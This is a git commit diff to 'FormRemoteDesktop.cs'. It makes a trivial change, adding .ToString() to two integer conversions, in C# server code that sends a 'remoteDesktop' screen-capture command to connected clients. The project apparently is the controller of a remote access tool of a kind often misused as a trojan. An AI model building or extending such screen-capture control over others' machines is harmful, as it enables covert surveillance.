Update FormRemoteDesktop.cs
This commit is contained in:
parent
7031537970
commit
67836a8520
@ -76,8 +76,8 @@ namespace Server.Forms
|
|||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
msgpack.ForcePathObject("Option").AsString = "capture";
|
msgpack.ForcePathObject("Option").AsString = "capture";
|
||||||
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
|
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString());
|
||||||
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value);
|
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString());
|
||||||
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
|
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
||||||
numericUpDown1.Enabled = false;
|
numericUpDown1.Enabled = false;
|
||||||
|
Loading…
x
Reference in New Issue
Block a user